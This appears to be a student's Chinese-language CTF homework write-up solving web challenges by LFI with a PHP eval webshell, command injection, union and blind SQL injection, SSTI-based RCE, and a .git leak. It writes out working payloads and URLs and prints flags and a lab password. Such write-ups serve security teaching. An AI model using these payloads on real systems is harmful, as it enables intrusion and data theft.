# HW9 ## Hello from Windows 98 本題打開Source Code可以看到很明顯的LFI ![](https://i.imgur.com/XE2c9PZ.png) 解出這題只有兩個流程: 1. 輸入一個一句話木馬(WebShell) 一句話木馬 : <?php eval($_GET['code']); ?> ![](https://i.imgur.com/cKfWZvf.png) 輸入後透過F12可以看到木馬存放的session ID 2. include對應的session檔案,PHP就會執行session檔案的指令,使我們可以做到RCE 透過下面URL來include https://windows.ctf.zoolab.org/?page=/tmp/sess_b5eb75a22e21e340978d2f64bfbc32b7 ![](https://i.imgur.com/DWYrGju.png) 可以看到此木馬成功執行,只差我們給予他指令 在這裡要用URL Encode將指令轉成URL看得懂的格式 ![](https://i.imgur.com/klPKzpk.png) 然後輸入 https://windows.ctf.zoolab.org/?page=/tmp/sess_b5eb75a22e21e340978d2f64bfbc32b7&&code=system(%27ls%27)%3b 可以看到那個目錄下的所有檔案 ![](https://i.imgur.com/RlSz8zN.png) 同理,透過page=/tmp/sess_b5eb75a22e21e340978d2f64bfbc32b7&&code=system(%27cat+flag.txt%27)%3b 可以得到FLAG!! ![](https://i.imgur.com/7Q5qW2f.png) ## Whois Tool 這次的介面如下,很明顯{host}存在Injection ![](https://i.imgur.com/HMymUA5.png) 直接直觀的去閉合字串,中間穿插我們需要的指令就好 先ls此目錄下有甚麼檔案 ![](https://i.imgur.com/ihp5OM7.png) 之後要去cat flag.txt 但因為長度會超過限制 所以用Wildcard讀flag就可以了 ![](https://i.imgur.com/IfT2b6E.png) ## Normal Login Panel (Flag 1) 這題可以透過SQL Injection拿到admin帳號 由於基本的助教上課都有講解,我就直接附上解題流程: 1. 檢查看看有幾個欄位 admin' union select 1,2,3,4 -- ![](https://i.imgur.com/Aaack3x.png) 2. 列出欄位名稱 admin' union select 1,2,3,sql from sqlite_master WHERE type='table' -- ![](https://i.imgur.com/ffxMDBi.png) 3. 拿取password,此admin的password就是FLAG!! admin' union select 1,2,3,password from users -- ![](https://i.imgur.com/QxC1QHe.png) ## Normal Login Panel (Flag 2) 這題拿admin跟FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}登入就可以看到網頁的Source code ![](https://i.imgur.com/zLND1Jb.png) 其中存在明顯的SSTI ![](https://i.imgur.com/zAjbbGl.png) 我們可以透過這個Template Injection達到RCE 詳細步驟助教都在影片中說明了 我這邊簡單理一下解題流程: 1. 透過greet跟python object的所有subclasses來做RCE 首先,由於python的system不會return結果回來 所以我們需要個Web Server接收system的結果,這裡我用ls查看一下當前目錄所有的檔案 ![](https://i.imgur.com/zJNbirs.png) 下面是我用BurpSuite所送出的封包 ![](https://i.imgur.com/ABuVqqr.png) 其中為了存取<class 'os._wrap_close'>的class,我使用Notepad++來看<class 'os._wrap_close'>在第幾行,以確定此class的index為140 ![](https://i.imgur.com/BTaQFA0.png) 2. 透過相同手法獲取FLAG 封包如下: ![](https://i.imgur.com/aB2CVde.png) 這樣就得到FLAG了!! ![](https://i.imgur.com/VXwqXzT.png) 助教還有說可以用popen直接獲取FLAG ![](https://i.imgur.com/jeV8yAD.png) ## PasteWeb (Flag 1) 此題的考點是SQL Injection 在考慮要不要寫腳本做SQL Injection時看了一下封包內容 ![](https://i.imgur.com/EjuoY0B.png) 發現他有時間戳避免sqlmap來自動注入 之後就手寫腳本了 因為解題過程跌跌撞撞,所以下面只列出可以解開這邊FLAG的流程: 1. 由於Boolean base的SQL injection需要用Binary Search加速,所以下面列出Binary Search函數以及時間戳生成的程式碼 ![](https://i.imgur.com/NRG6QyH.png) 2. 開始SQL Injection,首先需要爆破的是current_schema * 爆破長度 格式 : ' or length(current_schema) > 0 -- ![](https://i.imgur.com/TTUWlN3.png) * 爆破字串內容 格式 : ' or ascii(substr(current_schema,{i+1},1)) > {你要測試的數字} -- ![](https://i.imgur.com/vmiMtaz.png) 3. 開始爆破資料表名稱 * 找出有多少個資料表 格式 : ' or (SELECT count(tablename) FROM pg_tables WHERE schemaname=current_schema) > {你要測試的數字} -- ![](https://i.imgur.com/T0ePKpT.png) * 爆破資料表名稱 格式 : ' or ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='pasteweb_accounts' LIMIT 1 OFFSET 0),1,1)) > {你要測試的數字} -- ![](https://i.imgur.com/UnlHYKy.png) 4. 爆破s3cr3t_t4b1e表格的第一個欄位名 格式 : ' or ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='s3cr3t_t4b1e' LIMIT 1 OFFSET 0),0,1)) > {你要測試的數字} -- ![](https://i.imgur.com/BYTYzPc.png) 5. 爆破s3cr3t_t4b1e第一個欄位的內容就是FLAG了!! * 爆破欄位內容長度 格式 : ' or length((select fl4g from s3cr3t_t4b1e LIMIT 1 OFFSET 0)) > 0 -- ![](https://i.imgur.com/UyHcQwf.png) * 爆破欄位內容 格式 : ' or ascii(substr((select fl4g from s3cr3t_t4b1e LIMIT 1 OFFSET 0),0,1)) > {你要測試的數字} -- ![](https://i.imgur.com/9ztfpSB.png) ### 總結 這題其實主要就是考驗解題者能否自己手寫腳本做SQL Injection,基本上只要根據類似下面的格式,就能爆破資料庫名稱、資料表、欄位以及欄位內容 ``` ' or length(current_schema) > 0 -- ``` 還需要注意的是解題人需要通點靈,我解到admin密碼後都沒看到FLAG,想了很久,去了別張資料表逛逛才發現FLAG 然後主機如果連線時間太長好像會斷開,所以我用Jupyter Notebook一段一段程式碼分開執行,助教如果要測試我的腳本可以分開跑,直接執行可能會斷開。 ## PasteWeb (Flag 2) 這題是一題leak .git的題目,需要透過leak出來的資料並還原出原始碼。 然後這題需要admin的密碼才能進來寫HTML跟CSS 我透過FLAG 1的方式拿到了admin密碼 帳號 : admin 密碼 : P@ssw0rD 流程如下: 1. 先讀取.git下的logs/HEAD,查看commit的紀錄 ![](https://i.imgur.com/EwGFB1v.png) 儲存後查看結果 ![](https://i.imgur.com/auGlkjX.png) 可以得到base64編碼後的資料,再拿去解開來(把整串貼到Chrome的URL上)可以得到HEAD的內容 ![](https://i.imgur.com/7YvGt9W.png) 2. 去讀取Add flag這筆commit下的資料 ![](https://i.imgur.com/8tHsWRq.png) Code如下: ![](https://i.imgur.com/7Wr0bAn.png) 執行起來後可以看的到資料的Base64編碼 ![](https://i.imgur.com/MKR6iSE.png) 一樣拿去解開,會下載一個檔案,我拿到自己的WSL有git的資料夾下,並儲存成.git/objects/f7/fac4b9675f72b3333c732e7ed5a0066d78599d 如此就可以用git cat-file -p f7fac4b9675f72b3333c732e7ed5a0066d78599d 來查看內容 ![](https://i.imgur.com/0fwgdjF.png) 3. 讀取tree檔案,做法同上,寫CSS Code然後看到資料的Base64值,拿去chrome的URL貼上去,就可以下載到對應檔案,讀出的資料如下 ![](https://i.imgur.com/qFQ97EH.png) 4. 由於我已經把全部PHP都下載下來看過了,FLAG藏在index.php中,接下來只要去leak index.php的檔案內容就好 一樣先寫CSS Code ![](https://i.imgur.com/3xWGHFk.png) 然後執行,用Base64貼到Chrome的URL上來下載到對應檔案,之後放到.git/objects對應目錄下,用git cat-file -p 可以看到index.php內容 ![](https://i.imgur.com/Yj4sIkR.png) 這樣就得到FLAG了!! FLAG{a_l1tTl3_tRicKy_.git_L34k..or_D1d_y0u_f1nD_a_0Day_1n_lessphp?}